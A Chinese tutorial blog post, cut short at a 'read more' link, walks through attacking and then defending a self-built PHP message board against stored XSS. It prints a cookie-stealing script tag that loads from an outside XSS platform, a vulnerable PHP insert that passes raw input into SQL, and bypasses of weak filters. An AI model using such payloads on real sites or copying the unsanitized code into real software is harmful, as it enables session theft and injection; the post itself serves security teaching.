一次存储型XSS的攻防实战


本文摘自PHP中文网,作者V,侵删。

什么是存储型XSS

它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,一般是注入一段javascript脚本。在测试过程中,我们一般是使用:

1

<script>alert(1)</script>

通过这段js代码,弹个框来证明存在xss漏洞。那么,可能新手就会问了,弹个框有什么用呢?

其实,弹框只是为了证明存在此漏洞。而此漏洞的利用方式由很多种。

比如,你可以使用xss平台:

0f29abcb0ef8b6631c32c75d18abdd7.png

写入一段平台生成的xss脚本:

1

<script src=//xsspt.com/ZsgUBf></script>

当某人进入带有这个脚本的页面时,js脚本会获取他的cookie并发往xss平台。

你只需要登录xss平台等待即可,拿到cookie后,可以不需要密码登录他的账号。

注意:本文的重点是一步一步以黑客的角度进行xss攻击,再讨论如何站在开发者的角度去一步一步防御xss攻击。所以我会在本文中以开发的身份修正后端代码,再以黑客的身份进行前端页面的xss攻击,这一点需要注意哦。

对于存储型xss漏洞的表现形式,比较经典的是留言板。但是我们都是遵纪守法的好同学,不能对外面的网站进行测试,所以就花半个小时自己手撸一个留言板咯。

首先,应该有前端展示的页面Message_Board.php和后端存储数据的页面addMessage.php

dd340fe4f0d84836614e548b0430943.png

前端代码不是本文重点(感兴趣的可以自行查看前端代码),我们重点关注后端代码addMessage.php:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

<?php

    $nickname = @$_POST['nickname'];//昵称

    $email = @$_POST['email'];//邮箱

    $content = @$_POST['content'];//留言内容

    $now_time = @$_POST['now_time'];//留言时间

    $ini= @parse_ini_file("config.ini");

    $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]);    if($con){

        mysql_query("set names 'utf8'");//解决中文乱码问题

        mysql_select_db($ini["dbname"]);

        $sql1 = "select count(*) from message_board";

        $result = mysql_query($sql1);

        $floor = mysql_fetch_row($result)[0] + 1;

        $sql = "insert into message_board values

($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")";

        mysql_query($sql);

    }?>

可以看到,我们对传入的四个参数完全没有处理,而是直接存入数据库中。

所以,只要我们这样输入:

eccc01dfd6e78c932ded3b7bbd82c15.png

提交之后,系统会自动刷新页面出现弹框:

e0df2cc1a008b2baa6e2a9286eb03d1.png

点击确定后,你会发现留言内容和留言者的部分都为空。

8cbf337e184fb5c36f922a1ce06d6b2.png

这是因为js脚本已经被解析了,这时我们按F12,打开浏览器的开发者工具,发现了js脚本。

8.jpg

那么,问题来了。

毕竟我们还有另外一个身份,开发者该如何防御呢?

0×00、来个最简单的,只修改前端代码

在input标签里面加上maxlength属性

1

<input type="text" name="nickname" placeholder="留言者昵称" maxlength="10">

至于原理嘛,就是因为js脚本的形式为<script></script>长度为17,所以只要我们在前端对长度进行限制,就可以阻止黑客进行xss攻击了。

可是!开发可没这么好做!

我们是想做开发的黑客,所以还得自己搞自己。

作为攻击者,我们同样可以修改前端代码,具体的操作是使用浏览器的F12(开发者工具)

9.jpg

可以看到,我们可以直接进行长度的修改。

另外,还可以用抓包的方法,在包里面直接写,也是不受长度限制的。

0×01、对关键字script进行过滤

作为开发者,你很容易发现,要想进行xss攻击,必须插入一段js脚本,而js脚本的特征是很明显的,脚本中包含script关键字,那么我们只需要进行script过滤即可。

回到之前的代码。

为方便说明,我只取nickname参数,其实传入的四个参数需要做同样的处理。

1

$nickname = str_replace("script", "", @$_POST['nickname']);//昵称

上面这个str_replace()函数的意思是把script替换为空。

可以看到,script被替换为空,弹框失败。

阅读剩余部分

相关阅读 >>

一次存储型xss的攻防实战

xss分类及防御措施

xss攻击原理及防护

xss攻击的原理是什么

xss防御措施有哪些

linux企业端口扫描实战

跨站脚本攻击xss包括哪三大类型

linux企业端口扫描实战

更多相关阅读请进入《存储型》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...